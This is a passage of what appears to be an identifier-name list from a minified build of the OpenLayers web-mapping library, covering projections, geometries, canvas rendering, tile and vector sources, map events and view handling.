METERS","PIXELS","TILE_PIXELS","USFEET","Projection","code_","units_","extent_","worldExtent_","worldExtent","axisOrientation_","axisOrientation","global_","global","canWrapX_","getPointResolutionFunc_","getPointResolution","defaultTileGrid_","metersPerUnit_","metersPerUnit","canWrapX","getCode","getUnits","getMetersPerUnit","getWorldExtent","getAxisOrientation","isGlobal","setGlobal","getDefaultTileGrid","setDefaultTileGrid","tileGrid","setWorldExtent","setGetPointResolution","func","getPointResolutionFunc","RADIUS","HALF_SIZE","EXTENT","WORLD_EXTENT","MAX_SAFE_Y","tan","EPSG3857Projection","units","point","PROJECTIONS","EPSG4326Projection","opt_axisOrientation","cache","transforms","destination","transformFn","sourceCode","destinationCode","boundingExtent","coordinates","extendCoordinate","buffer","opt_extent","clone","closestSquaredDistanceXY","containsCoordinate","coordinate","containsXY","containsExtent","extent1","extent2","coordinateRelationship","relationship","createOrUpdate","createOrUpdateEmpty","createOrUpdateFromFlatCoordinates","flatCoordinates","offset","stride","extendFlatCoordinates","extendXY","forEachCorner","callback","val","getBottomLeft","getBottomRight","getTopRight","getTopLeft","getArea","area","getHeight","getCenter","getCorner","corner","getForViewAndSize","center","rotation","_a","getRotatedViewport","x0","y0","x3","y3","cosRotation","cos","sinRotation","sin","xCos","xSin","yCos","ySin","getIntersection","intersection","intersects","wrapX","projection","projectionExtent","worldWidth","coordinate1","coordinate2","rotate","angle","cosAngle","sinAngle","worldsAway","opt_sourceExtentWidth","sourceExtentWidth","getDistance","c1","c2","opt_radius","radius","lat1","lat2","deltaLatBy2","deltaLonBy2","atan2","showCoordinateWarning","disableCoordinateWarning","opt_disable","cloneTransform","input","opt_output","opt_dimension","identityTransform","addProjection","add","projectionLike","replace","opt_units","pointResolution","getter","toEPSG4326_1","getTransformFromProjections","vertices","addEquivalentProjections","projections","forEach","addProjections","createProjection","defaultCode","equivalent","projection1","projection2","equalUnits","sourceProjection","destinationProjection","transformFunc","transform","getTransform","transformExtent","opt_stops","xs","ys","_boundingExtentXYs","applyTransform","projections2","forwardTransform","inverseTransform","userProjection","getUserProjection","toUserCoordinate","fromUserCoordinate","destProjection","console","warn","toUserResolution","dimension","atan","PROJECTION","COORDINATE_FORMAT","MousePosition","handleProjectionChanged_","coordinateFormat","setCoordinateFormat","setProjection","renderOnMouseOut","placeholder","undefinedHTML","placeholder_","renderOnMouseOut_","renderedHTML_","mapProjection_","transform_","getCoordinateFormat","getProjection","handleMouseMove","updateHTML_","getEventPixel","handleMouseOut","viewport","getViewport","format","html","getCoordinateFromPixelInternal","toString","easeIn","easeOut","inAndOut","linear","transformStringDiv","Zoom","delta","zoomInClassName","zoomOutClassName","zoomInLabel","zoomOutLabel","zoomInTipLabel","zoomOutTipLabel","inElement","createTextNode","outElement","duration_","duration","zoomByDelta_","view","getView","currentZoom","getZoom","newZoom","getConstrainedZoom","getAnimating","cancelAnimations","animate","easing","setZoom","compose","dx1","dy1","sx","sy","dx2","dy2","makeInverse","mat","det","transformString","transform2D","opt_dest","dest","anchor","anchorX","anchorY","deltaX","deltaY","k","tmpTransform","Geometry","fn","lastResult","lastArgs","lastThis","called","extentRevision_","simplifiedGeometryMaxMinSquaredTolerance","simplifiedGeometryRevision","simplifyTransformedInternal","revision","squaredTolerance","opt_transform","getSimplifiedGeometry","nextArgs","simplifyTransformed","closestPointXY","closestPoint","minSquaredDistance","coord","getClosestPoint","opt_closestPoint","NaN","intersectsCoordinate","computeExtent","isNaN","returnOrUpdate","scale","opt_sy","opt_anchor","simplify","tolerance","getType","intersectsExtent","translate","sourceProj","inCoordinates","outCoordinates","pixelExtent","projectedExtent","SimpleGeometry","layout","getCoordinates","getFirstCoordinate","getFlatCoordinates","getLastCoordinate","getLayout","simplifiedGeometry","getSimplifiedGeometryInternal","getStride","setFlatCoordinates","getStrideForLayout","setCoordinates","opt_layout","setLayout","nesting","getLayoutForStride","assignClosest","offset1","offset2","maxSquaredDelta","squaredDelta","arrayMaxSquaredDelta","ends","assignClosestPoint","maxDelta","isRing","opt_tmpPoint","squaredDistance","tmpPoint","assignClosestArrayPoint","deflateCoordinates","deflateCoordinatesArray","coordinatess","opt_ends","douglasPeucker","simplifiedFlatCoordinates","simplifiedOffset","markers","stack","last","first","maxSquaredDistance","squaredDistance_1","snap","quantize","quantizeArray","simplifiedEnds","ret","inflateCoordinates","opt_coordinates","inflateCoordinatesArray","opt_coordinatess","inflateMultiCoordinatesArray","endss","opt_coordinatesss","coordinatesss","interpolatePoint","fraction","length_1","cumulativeLengths","haystack","needle","opt_comparator","mid","cmp","comparator","low","high","found","binarySearch","lineStringCoordinateAtM","extrapolate","lo","hi","m0","linearRingContainsExtent","linearRingContainsXY","wn","linearRingsContainsXY","intersectsLineString","coordinatesExtent","point1","point2","start","startRel","endRel","startX","startY","endX","endY","slope","intersectsSegment","intersectsLinearRing","intersectsLinearRingArray","lineStringLength","LineString","flatMidpoint_","flatMidpointRevision_","maxDelta_","maxDeltaRevision_","appendCoordinate","lineString","forEachSegment","getCoordinateAtM","opt_extrapolate","getCoordinateAt","getLength","getFlatMidpoint","linearRing","twiceArea","linearRings","LinearRing","MultiLineString","ends_","lineStrings","appendLineString","multiLineString","opt_interpolate","interpolate","lineStringsCoordinateAtM","getEnds","getLineString","getLineStrings","getFlatMidpoints","midpoints","douglasPeuckerArray","intersectsLineStringArray","Point","deflateCoordinate","MultiPoint","appendPoint","multiPoint","getPoint","getPoints","points","getInteriorPointOfArray","flatCenters","flatCentersOffset","intersections","rr","pointX","maxSegmentLength","segmentLength","abs","linearRingIsClockwise","edge","linearRingsAreOriented","opt_right","right","isClockwise","orientLinearRings","orientLinearRingsArray","Polygon","flatInteriorPointRevision_","flatInteriorPoint_","orientedRevision_","orientedFlatCoordinates_","appendLinearRing","polygon","getOrientedFlatCoordinates","getFlatInteriorPoint","flatCenter","getInteriorPoint","getLinearRingCount","getLinearRing","getLinearRings","fromExtent","MultiPolygon","opt_endss","endss_","flatInteriorPointsRevision_","flatInteriorPoints_","polygons","appendPolygon","newEndss","multiPolygon","multiArrayMaxSquaredDelta","assignClosestMultiArrayPoint","linearRingssContainsXY","linearRingss","getEndss","getFlatInteriorPoints","interiorPoints","getInteriorPointsOfMultiArray","getInteriorPoints","linearRingssAreOriented","simplifiedEndss","quantizeMultiArray","getPolygon","prevEnds","getPolygons","intersectsLinearRingMultiArray","deflateMultiCoordinatesArray","lastEnds","BaseTileLayer","preload","useInterimTilesOnError","setPreload","setUseInterimTilesOnError","getPreload","TileProperty","getUseInterimTilesOnError","LayerRenderer","ready","boundHandleImageChange_","handleImageChange_","layer_","declutterExecutorGroup","loadedTileCallback","tiles","tile","tileCoord","createLoadedTileFinder","tileRange","forEachLoadedTile","forEachFeatureAtCoordinate","hitTolerance","matches","getDataAtPixel","getLayer","handleFontsChanged","renderIfReadyAndVisible","loadImage","image","imageState","RenderEvent","opt_inversePixelTransform","opt_frameState","opt_context","inversePixelTransform","HEX_COLOR_RE_","NAMED_COLOR_RE_","asString","color","fromString","cacheSize","g","exec","el","body","rgb","getComputedStyle","fromNamed","hasAlpha","parseInt","substr","normalize","Number","fromStringInternal_","asArray","canvasPool","pixelContext","CanvasLayerRenderer","container","renderedResolution","tempTransform","pixelTransform","containerReused","pixelContext_","getImageData","col","row","drawImage","err","useContainer","opt_backgroundColor","layerClassName","backgroundColor","firstElementChild","HTMLCanvasElement","position","left","transformOrigin","clipUnrotated","topLeft","topRight","bottomRight","bottomLeft","coordinateToPixelTransform","inverted","save","beginPath","moveTo","lineTo","clip","dispatchRenderEvent_","event_1","preRender","postRender","getRenderTransform","pixelRatio","offsetX","renderPixel","layerExtent","pixelToCoordinateTransform","pixelCanvas","Uint8Array","Tile","interimTile","transition_","transition","transitionStarts_","release","getKey","getInterimTile","refreshInterimChain","prev","getTileCoord","setState","getAlpha","id","time","inTransition","endTransition","ImageBase","pixelRatio_","getImage","getPixelRatio","getResolution","listenImage","loadHandler","errorHandler","img","listening","decoding","loaded","src","then","catch","ImageWrapper","crossOrigin","imageLoadFunction","src_","image_","unlisten_","imageLoadFunction_","handleImageError_","unlistenImage_","handleImageLoad_","setImage","brokenDiagonalRendering_","ImageTile","tileLoadFunction","crossOrigin_","tileLoadFunction_","ctx","fillStyle","fillRect","naturalWidth","naturalHeight","Triangulation","targetProj","targetExtent","maxSourceExtent","errorThreshold","opt_destinationResolution","sourceProj_","targetProj_","transformInvCache","transformInv","transformInv_","maxSourceExtent_","errorThresholdSquared_","triangles_","wrapsXInSource_","canWrapXInSource_","sourceWorldWidth_","targetWorldWidth_","destinationTopLeft","destinationTopRight","destinationBottomRight","destinationBottomLeft","sourceTopLeft","sourceTopRight","sourceBottomRight","sourceBottomLeft","maxSubdivision","addQuad_","leftBound_1","triangle","newTriangle","addTriangle_","aSrc","bSrc","cSrc","dSrc","sourceQuadExtent","sourceCoverageX","sourceWorldWidth","wrapsX","needsSubdivision","isFinite","isNotFinite","centerSrc","bc","bcSrc","da","daSrc","ab","abSrc","cd","cdSrc","calculateSourceExtent","getTriangles","IMAGE_SMOOTHING_DISABLED","imageSmoothingEnabled","msImageSmoothingEnabled","IMAGE_SMOOTHING_ENABLED","drawTestTriangle","u1","v1","u2","v2","closePath","restore","verifyBrokenDiagonalRendering","calculateSourceResolution","targetCenter","targetResolution","sourceCenter","sourceResolution","targetMetersPerUnit","sourceMetersPerUnit","sourceExtent","compensationFactor","ReprojTile","sourceTileGrid","targetTileGrid","wrappedTileCoord","gutter","getTileFunction","opt_errorThreshold","opt_renderEdges","renderEdges_","gutter_","canvas_","sourceTileGrid_","targetTileGrid_","wrappedTileCoord_","sourceTiles_","sourcesListenerKeys_","sourceZ_","getTileCoordExtent","maxTargetExtent","limitedTargetExtent","sourceProjExtent","calculateSourceExtentResolution","errorThresholdInPixels","triangulation_","getZForResolution","sourceRange","getTileRangeForExtentAndZ","srcX","srcY","reproject_","sources","z","getTileSize","triangulation","pixelRound","globalCompositeOperation","sourceDataExtent","canvasWidthInUnits","canvasHeightInUnits","stitchContext","stitchScale","xPos","yPos","srcWidth","srcHeight","targetTopLeft","u0","v0","sourceNumericalShiftX","sourceNumericalShiftY","affineCoefs","maxRow","maxEl","absValue","coef","solveLinearSystem","isBrokenDiagonalRendering","ud","vd","step","steps","strokeStyle","lineWidth","stroke","leftToLoad_1","sourceListenKey_1","unlistenSources_","setTimeout","TileRange","contains","containsTileRange","extend","getSize","getWidth","hasArea","toSize","opt_size","CanvasTileLayerRenderer","tileLayer","extentChanged","renderedExtent_","renderedPixelRatio","renderedProjection","renderedRevision","renderedTiles","newTiles_","tmpExtent","tmpTileRange_","isDrawableTile","tileState","getTile","getTileGridForProjection","tilePixelRatio","getTilePixelRatio","getTileCoordForCoordAndZ","tileOrigin","getOrigin","tileSize","tileResolution","getGutterForProjection","layerIndex","viewResolution","viewCenter","tileSource","sourceRevision","zDirection","canvasExtent","tilesToDrawByZ","findLoadedTiles","tmpTileRange","tileCoordIntersectsViewport","uid","childTileRange","getTileCoordChildTileRange","covered","forEachTileCoordParentTileRange","canvasScale","canvasTransform","getInterpolate","clips","clipZs","currentClip","zs","getOpaque","reverse","currentZ","currentTilePixelSize","getTilePixelSize","currentScale","dx_1","dy_1","originTileCoord","originTileExtent","origin_1","tileGutter","tilesToDraw","tileCoordKey","xIndex","nextX","yIndex","nextY","w","contextSaved","i_1","drawTileImage","unshift","updateUsedTiles","usedTiles","manageTilePyramid","scheduleExpireCache","getTileImage","alpha","alphaChanged","globalAlpha","canExpireCache","postRenderFunction","tileSourceKey","expireCache","postRenderFunctions","opt_tileCallback","wantedTiles","tileQueue","tileCount","isKeyQueued","enqueue","getTileCoordCenter","useTile","updateCacheSize","TileLayer","BaseTile","ImageStyle","opacity_","rotateWithView_","rotateWithView","rotation_","scale_","scaleArray_","displacement_","displacement","declutterMode_","declutterMode","getScale","getRotation","getRotateWithView","getDisplacement","getDeclutterMode","getScaleArray","getAnchor","getHitDetectionImage","getImageState","getImageSize","setDisplacement","setRotateWithView","setRotation","setScale","listenImageChange","unlistenImageChange","asColorLike","defaultFont","defaultFillStyle","defaultLineCap","defaultLineDash","defaultLineJoin","defaultStrokeStyle","defaultTextAlign","defaultTextBaseline","defaultPadding","checkedFonts","setSize","measureFont","measureElement","measureContext","textHeights","registerFont","interval","referenceWidth","referenceFonts","text","isAvailable","fontStyle","fontWeight","fontFamily","available","referenceFont","measureTextWidth","check","done","fonts","font","clearInterval","setInterval","measureTextHeight","metrics","measureText","actualBoundingBoxAscent","actualBoundingBoxDescent","minHeight","maxHeight","padding","border","offsetHeight","measureAndCacheTextWidth","reduce","curr","RegularShape","hitDetectionCanvas_","fill_","fill","origin_","points_","radius_","radius1","radius2_","radius2","angle_","stroke_","size_","renderOptions_","getFill","getRadius","getRadius2","getAngle","getStroke","setFill","createHitDetectionCanvas_","renderOptions","draw_","setStroke","calculateLineJoinSize_","lineJoin","strokeWidth","miterLimit","r1","r2","miterRatio","bevelAdd","aa","dd","innerMiterRatio","innerLength","createRenderOptions","lineDash","lineDashOffset","getColor","getLineDash","getLineDashOffset","getLineJoin","getMiterLimit","maxRadius","createPath_","setLineDash","drawHitDetectionCanvas_","arc","startAngle","angle0","radiusC","CircleStyle","setRadius","Fill","color_","setColor","Stroke","lineCap_","lineCap","lineDash_","lineDashOffset_","lineJoin_","miterLimit_","width_","getLineCap","setLineCap","setLineDashOffset","setLineJoin","setMiterLimit","setWidth","Style","geometry_","geometryFunction_","defaultGeometryFunction","geometry","setGeometry","renderer","hitDetectionRenderer_","hitDetectionRenderer","text_","zIndex_","getGeometry","getText","setRenderer","setHitDetectionRenderer","getHitDetectionRenderer","getGeometryFunction","setText","feature","defaultStyles","createDefaultStyle","Circle","BaseVectorLayer","renderBuffer","updateWhileAnimating","updateWhileInteracting","declutter_","declutter","renderBuffer_","style_","styleFunction_","setStyle","updateWhileAnimating_","updateWhileInteracting_","getDeclutter","getRenderBuffer","getRenderOrder","getStyle","getStyleFunction","getUpdateWhileAnimating","getUpdateWhileInteracting","renderDeclutter","declutterTree","setRenderOrder","renderOrder","opt_style","styleFunction","styles_1","Instruction","BEGIN_GEOMETRY","BEGIN_PATH","CIRCLE","CLOSE_PATH","CUSTOM","DRAW_CHARS","DRAW_IMAGE","END_GEOMETRY","FILL","MOVE_TO_LINE_TO","SET_FILL_STYLE","SET_STROKE_STYLE","STROKE","fillInstruction","strokeInstruction","beginPathInstruction","closePathInstruction","VectorContext","drawCustom","drawGeometry","drawCircle","circleGeometry","drawFeature","drawGeometryCollection","geometryCollectionGeometry","drawLineString","lineStringGeometry","drawMultiLineString","multiLineStringGeometry","drawMultiPoint","multiPointGeometry","drawMultiPolygon","multiPolygonGeometry","drawPoint","pointGeometry","drawPolygon","polygonGeometry","drawText","setFillStrokeStyle","setImageStyle","imageStyle","opt_declutterImageWithText","setTextStyle","textStyle","CanvasBuilder","maxExtent","maxLineWidth","beginGeometryInstruction1_","beginGeometryInstruction2_","bufferedMaxExtent_","instructions","tmpCoordinate_","hitDetectionInstructions","applyPixelRatio","dashArray","dash","appendFlatPointCoordinates","getBufferedMaxExtent","tmpCoord","myEnd","appendFlatLineCoordinates","closed","skipFirst","lastRel","nextRel","lastXCoord","lastYCoord","nextCoord","skipped","drawCustomCoordinates_","builderEnds","builderEnd","beginGeometry","builderEndss","builderBegin","myEnds","endGeometry","finish","reverseHitDetectionInstructions","instruction","fillStyleColor","strokeStyleColor","strokeStyleLineCap","strokeStyleLineDash","strokeStyleLineDashOffset","strokeStyleLineJoin","strokeStyleWidth","strokeStyleMiterLimit","createFill","applyStroke","createStroke","updateFillStyle","currentFillStyle","updateStrokeStyle","currentStrokeStyle","currentLineCap","currentLineDash","currentLineDashOffset","currentLineJoin","currentLineWidth","currentMiterLimit","endGeometryInstruction","CanvasImageBuilder","hitDetectionImage_","imagePixelRatio_","anchorX_","anchorY_","height_","originX_","originY_","declutterImageWithText_","myBegin","opt_sharedData","origin","CanvasLineStringBuilder","drawFlatCoordinates_","moveToLineToInstruction","lastStroke","CanvasPolygonBuilder","drawFlatCoordinatess_","numEnds","setFillStrokeStyles_","circleInstruction","matchingChunk","maxAngle","m12","m23","x12","y12","x23","y23","chunkStart","chunkEnd","chunkM","acos","TEXT_ALIGN","CanvasTextBuilder","labels_","textOffsetX_","textOffsetY_","textRotateWithView_","textRotation_","textFillState_","fillStates","textStrokeState_","strokeStates","textState_","textStates","textKey_","fillKey_","strokeKey_","fillState","strokeState","textState","geometryType","placement","geometryWidths","overflow","beg_1","filter","keep","saveTextStates_","backgroundFill","backgroundStroke","p0","p1","p2","p3","pixelRatio_1","textAlign","flatOffset","flatEnd","oo","range","drawChars_","strokeKey","textKey","justify","textBaseline","fillKey","baseline","offsetY","textFillStyle","textStrokeStyle","getFont","textScale","getOverflow","getMaxAngle","getPlacement","getTextAlign","getJustify","getTextBaseline","getBackgroundFill","getBackgroundStroke","getPadding","textOffsetX","getOffsetX","textOffsetY","getOffsetY","textRotateWithView","textRotation","BATCH_CONSTRUCTORS","PolygonBuilder","Builder","ImageBuilder","LineStringBuilder","BuilderGroup","tolerance_","maxExtent_","resolution_","buildersByZIndex_","builderInstructions","zKey","builders","builderKey","builderInstruction","getBuilder","builderType","zIndexKey","replays","replay","Constructor","drawTextOnPath","startM","segmentM","advance","beginX","beginY","startOffset","startLength","endM","flat","previousAngle","result","singleSegment","iStart","charLength","chars","substring","p4","getDeclutterBox","replayImageOrLabelArgs","declutterBox","rtlRegEx","fromCharCode","horizontalTextAlign","align","test","createTextChunks","acc","line","Executor","overlaps","alignFill_","coordinateCache_","renderedTransform_","pixelCoordinates_","viewRotation_","widths_","createLabel","textIsArray","chunks","baseStyle","widths","heights","lineWidths","currentWidth","currentHeight","getTextDimensions","renderWidth","contextInstructions","OffscreenCanvasRenderingContext2D","CanvasRenderingContext2D","previousFont","leftRight","strokeInstructions","fillInstructions","lineOffset","widthHeightIndex","lineWidthIndex","text_1","fillStrokeArgs","replayTextBackground_","setStrokeStyle_","calculateImageOrLabelDimensions_","sheetWidth","sheetHeight","centerX","centerY","originX","originY","snapToPixel","fillStroke","boxW","boxH","boxX","boxY","drawImageX","drawImageY","drawImageW","drawImageH","replayImageOrLabel_","contextScale","imageOrLabel","dimensions","box","strokePadding","labelOrImage","setTransform","executeLabelInstructions","drawImageOrLabel","repeatSize","drawLabelWithPointPlacement_","execute_","opt_featureCallback","opt_hitExtent","opt_declutterTree","pixelCoordinates","transform1","transform2","prevX","prevY","roundX","roundY","currentGeometry","pendingFill","pendingStroke","lastFillInstruction","lastStrokeInstruction","coordinateCache","viewRotation","viewRotationFromTransform","batchSize","coords","declutterImageWithText","labelWithAnchor","widthIndex","args","imageArgs","imageDeclutterBox","measurePixelRatio","pixelRatioScale","cachedWidths","pathLength","textLength","parts","drawChars","cc","part","ii_1","execute","executeHitDetection","ORDER","ExecutorGroup","allInstructions","opt_renderBuffer","overlaps_","executorsByZIndex_","hitDetectionContext_","hitDetectionTransform_","createExecutors_","flatClipCoords","getClipCoords","executors","instructionByZindex","hasExecutors","candidates","declutteredFeatures","contextSize","newContext","hitExtent","indexes","circlePixelIndexArrayCache","maxDistanceSq","distances","distanceSq","distance","pixelIndex","getPixelIndexArray","featureCallback","imageData","idx","result_1","executor","isEmpty","opt_builderTypes","builderTypes","CanvasImmediateRenderer","opt_squaredTolerance","opt_userTransform","context_","squaredTolerance_","userTransform_","contextFillState_","contextStrokeState_","contextTextState_","fillState_","strokeState_","imageAnchorX_","imageAnchorY_","imageHeight_","imageOpacity_","imageOriginX_","imageOriginY_","imageRotateWithView_","imageRotation_","imageScale_","imageWidth_","textScale_","tmpLocalTransform_","drawImages_","localTransform","drawText_","setContextFillState_","setContextStrokeState_","setContextTextState_","strokeText","fillText","moveToLineTo_","close","drawRings_","simpleGeometry","transformGeom2D","geometries","getGeometriesArray","flatMidpoint","geometryExtent","flatMidpoints","flatInteriorPoint","flatInteriorPoints","contextFillState","contextStrokeState","contextTextState","imageSize","imageAnchor","imageOrigin","textFillStyleColor","textStrokeStyleColor","textStrokeStyleLineCap","textStrokeStyleLineDash","textStrokeStyleLineDashOffset","textStrokeStyleLineJoin","textStrokeStyleWidth","textStrokeStyleMiterLimit","textFont","textText","textTextAlign","textTextBaseline","shared","IconImageCache","cache_","cacheSize_","maxCacheSize_","expire","iconImage","maxCacheSize","taintedTestContext","IconImage","imageState_","tainted_","isTainted_","dispatchChangeEvent_","replaceColor_","getSrc","imgData","putImageData","Icon","anchor_","normalizedAnchor_","anchorOrigin_","anchorOrigin","IconOrigin","anchorXUnits_","anchorXUnits","IconAnchorUnits","anchorYUnits_","anchorYUnits","imgSize_","imgSize","iconImage_","offset_","offsetOrigin_","offsetOrigin","setAnchor","iconImageSize","HIT_DETECT_RESOLUTION","GEOMETRY_RENDERERS","builderGroup","opt_declutterBuilderGroup","imageBuilderGroup","imageReplay_1","imageReplay","textBuilderGroup","textReplay","lineStringReplay","polygonReplay","imageReplay_2","replayGroup","geometryRenderer","circleReplay","defaultOrder","feature1","feature2","getTolerance","renderFeature","loading","renderGeometry","renderFeatureInternal","getGeometries","CanvasVectorLayerRenderer","vectorLayer","boundHandleStyleImageChange_","handleStyleImageChange_","animatingOrInteracting_","hitDetectionImageData_","renderedFeatures_","renderedRevision_","renderedResolution_","wrappedRenderedExtent_","renderedRotation_","renderedCenter_","renderedProjection_","renderedRenderOrder_","replayGroup_","replayGroupChanged","clipping","compositionContext_","renderWorlds","executorGroup","vectorSource","viewHints","multiWorld","getWrapX","endWorld","world","setupCompositionContext_","compositionContext","releaseCompositionContext_","makeScale","clipped","features","featureCount","indexFactor","featuresByZIndex","featureStyleFunction","styles","originalStyle","imgContext","byGeometryType","zIndexKeys","geomAndStyle","kk","createHitDetectionImageData","resultFeatures","hitDetect","lastIndexOf","executorGroups","item","animating","interacting","frameStateExtent","vectorLayerRevision","vectorLayerRenderBuffer","vectorLayerRenderOrder","renderedExtent","loadExtents","loadExtent","declutterBuilderGroup","userTransform","userExtent_1","loadFeatures","dirty","userExtent","getFeaturesInExtent","replayGroupInstructions","getOverlaps","VectorLayer","BaseVector","LRUCache","opt_highWaterMark","highWaterMark","count_","entries_","oldest_","newest_","getCount","containsKey","entry","value_","key_","newer","older","peekLast","peekLastKey","peekFirstKey","peek","opt_tileCoord","getKeyZXY","TileCache","pruneExceptNewestZ","adaptAttributions","attributionLike","Source","attributions_","attributionsCollapsible_","attributionsCollapsible","wrapX_","interpolate_","viewResolver","viewRejector","viewPromise_","reject","getResolutions","refresh","setAttributions","tmpTileCoord","TileGrid","compare","zoomFactor","resolutions_","resolutions","every","currentVal","res","origins","zoomFactor_","origins_","tileSizes_","tileSizes","tileSize_","fullTileRanges_","tmpSize_","tmpExtent_","sizes","restrictedTileRange","calculateTileRanges_","forEachTileCoord","opt_tileRange","tileCoordExtent","getTileRangeForTileCoordAndZ","tileCoordZ","tileCoordX","tileCoordY","getTileRangeExtent","getTileCoordForXYAndZ_","getTileCoordForCoordAndResolution","getTileCoordForXYAndResolution_","reverseIntersectionPolicy","getTileCoordResolution","getFullTileRange","opt_direction","fullTileRanges","getForProjection","opt_maxZoom","opt_tileSize","opt_corner","resolutionsFromExtent","createForExtent","extentFromProjection","createForProjection","opt_maxResolution","half","TileSource","opaque_","opaque","tilePixelRatio_","tileCache","tmpSize","tileOptions","getTileCacheForProjection","setKey","getTileGrid","ratio","getTileCoordForTileUrlFunction","opt_projection","withinExtentAndZ","TileSourceEvent","createFromTemplate","template","zRegEx","xRegEx","yRegEx","dashYRegEx","UrlTile","generateTileUrlFunction_","tileUrlFunction","urls","setUrls","url","setUrl","tileLoadingKeys_","getTileLoadFunction","getTileUrlFunction","getPrototypeOf","getUrls","handleTileChange","setTileLoadFunction","setTileUrlFunction","startCharCode","charCodeAt","stopCharCode","charCode","stop_1","expandUrl","templates","tileUrlFunctions","createFromTileUrlFunctions","createFromTemplates","TileImage","imageSmoothing","defaultTileLoadFunction","tileClass","tileCacheForProjection","tileGridForProjection","reprojectionErrorThreshold_","reprojectionErrorThreshold","renderReprojectionEdges_","usedTileCache","getGutter","thisProj","projKey","createTile_","urlTileCoord","tileUrl","newTile","getTileInternal","setRenderReprojectionEdges","setTileGridForProjection","tilegrid","proj","imageTile","XYZ","xyzOptions","gridOptions","createXYZ","OSM","CollectionEvent","opt_element","opt_index","Collection","unique_","unique","array_","assertUnique_","updateLength_","getArray","insertAt","elem","CollectionEventType","removeAt","setAt","opt_except","RBush","opt_maxEntries","rbush_","items_","extents","items","update","getAll","getInExtent","bbox","forEach_","forEachInExtent","rbush","xhr","success","failure","XMLHttpRequest","open","responseType","withCredentials","onload","status","responseText","responseXML","DOMParser","parseFromString","readFeatures","featureProjection","readProjection","onerror","send","loadFeaturesXhr","dataProjection","addFeatures","VectorSourceEvent","opt_feature","opt_features","VectorSource","loader_","format_","url_","loader","strategy_","strategy","collection","useSpatialIndex","featuresRtree_","loadedExtentsRtree_","loadingExtentsCount_","nullGeometryFeatures_","idIndex_","uidIndex_","featureChangeKeys_","featuresCollection_","addFeaturesInternal","bindFeaturesCollection_","addFeature","addFeatureInternal","featureKey","addToIndex_","setupChangeEvents_","VectorEventType","handleFeatureChange_","valid","getId","newFeatures","geometryFeatures","length_2","length_3","modifyingCollection","removeFeature","opt_fast","featureId","removeAndIgnoreReturn","removeFeatureInternal","clearEvent","forEachFeature","forEachFeatureAtCoordinateDirect","forEachFeatureInExtent","forEachFeatureIntersectingExtent","getFeaturesCollection","getFeaturesAtCoordinate","wrapAndSliceX","anExtent","getClosestFeatureToCoordinate","opt_filter","closestFeature","previousMinSquaredDistance","minDistance","getFeatureById","getFeatureByUid","getFormat","getUrl","sid","removeFromIdIndex_","hasFeature","loadedExtentsRtree","extentsToLoad","_loop_1","extentToLoad","this_1","removeLoadedExtent","featureChangeKeys","removed","setLoader","Text","font_","textAlign_","justify_","textBaseline_","maxAngle_","placement_","overflow_","offsetX_","offsetY_","backgroundFill_","backgroundStroke_","padding_","setOverflow","setFont","setMaxAngle","setOffsetX","setOffsetY","setPlacement","setTextAlign","setJustify","setTextBaseline","setBackgroundFill","setBackgroundStroke","setPadding","Feature","opt_geometryOrProperties","id_","geometryName_","geometryChangeKey_","handleGeometryChanged_","setGeometryName","getGeometryName","handleGeometryChange_","setId","MapRenderer","dispatchRenderEvent","calculateMatrices2D","checkWrapped","thisArg","layerFilter","thisArg2","translatedCoordinate","offsets","layerStates","numLayers","callback_1","order","forEachLayerAtPixel","hasFeatureAtCoordinate","scheduleExpireIconCache","expireIconCache","CompositeMapRenderer","fontChangeListenerKey_","redrawText","element_","insertBefore","firstChild","children_","declutterLayers","previousElement","sourceState","oldChildren","childNodes","oldChild","newChild","replaceChildren","Map","GroupEvent","LayerGroup","layers","layersListenerKeys_","listenerKeys_","handleLayersChanged_","setLayers","handleLayerChange_","getLayers","handleLayersAdd_","handleLayersRemove_","layersArray","registerLayerListeners_","handleLayerGroupAdd_","handleLayerGroupRemove_","collectionEvent","currentLayers","pos","ownLayerState","defaultZIndex","MapEvent","MapBrowserEvent","originalEvent","opt_dragging","opt_activePointers","pixel_","coordinate_","dragging","activePointers","configurable","getCoordinateFromPixel","SINGLECLICK","CLICK","DBLCLICK","POINTERDRAG","POINTERMOVE","POINTERDOWN","POINTERUP","POINTEROVER","POINTEROUT","POINTERENTER","POINTERLEAVE","POINTERCANCEL","MapBrowserEventHandler","moveTolerance","clickTimeoutId_","emulateClicks_","dragging_","dragListenerKeys_","moveTolerance_","down_","activePointers_","trackedTouches_","pointerdownListenerKey_","handlePointerDown_","originalPointerMoveEvent_","relayedListenerKey_","relayMoveEvent_","boundHandleTouchMove_","handleTouchMove_","emulateClick_","pointerEvent","newEvent","clearTimeout","updateActivePointers_","pointerId","handlePointerUp_","isMouseActionButton_","button","doc","getOwnerDocument","handlePointerMove_","getRootNode","isMoving_","cancelable","clientX","clientY","DROP","PriorityQueue","priorityFunction","keyFunction","priorityFunction_","keyFunction_","elements_","priorities_","queuedElements_","dequeue","elements","priorities","siftUp_","elementKey","priority","siftDown_","getLeftChildIndex_","getRightChildIndex_","getParentIndex_","heapify_","isQueued","count","startIndex","lIndex","rIndex","smallerChildIndex","parentIndex","reprioritize","TileQueue","tilePriorityFunction","tileChangeCallback","boundHandleTileChange_","tileChangeCallback_","tilesLoading_","tilesLoadingKeys_","added","getTilesLoading","tileKey","loadMoreTiles","maxTotalLoading","maxNewLoads","newLoads","CENTER","RESOLUTION","ROTATION","createExtent","onlyCenter","smooth","opt_isMoving","opt_centerShift","viewWidth","viewHeight","shiftX","shiftY","none","getViewportClampedResolution","viewportSize","showFullExtent","xResolution","yResolution","getSmoothClampedResolution","createMinMaxResolution","opt_smooth","opt_maxExtent","opt_showFullExtent","cappedMaxRes","disable","View","hints_","animations_","updateAnimationKey_","projection_","viewportSize_","targetCenter_","targetResolution_","targetRotation_","nextCenter_","nextResolution_","nextRotation_","cancelAnchor_","applyOptions_","ViewProperty","resolutionConstraintInfo","resolutionConstraint","smoothResolutionConstraint","projExtent","constrainOnlyCenter","constrainResolution","capped","createSnapToResolutions","defaultMaxResolution","defaultMinResolution","defaultMaxZoom","power","opt_minResolution","minZoomLevel","cappedZoomLevel","zoomLevel","createSnapToPower","constraint","createResolutionConstraint","maxResolution_","minResolution_","minZoom_","centerConstraint","smoothExtentConstraint","createCenterConstraint","rotationConstraint","theta","enableRotation","constrainRotation","createRotationConstraint","constraints_","setCenterInternal","setResolution","oldPadding","newPadding","getUpdatedOptions_","newOptions","getCenterInternal","var_args","isDef","resolveConstraints","animateInternal","animationCount","Date","now","series","animation","complete","getResolutionForZoom","sourceRotation","targetRotation","isNoopAnimation","setHint","upda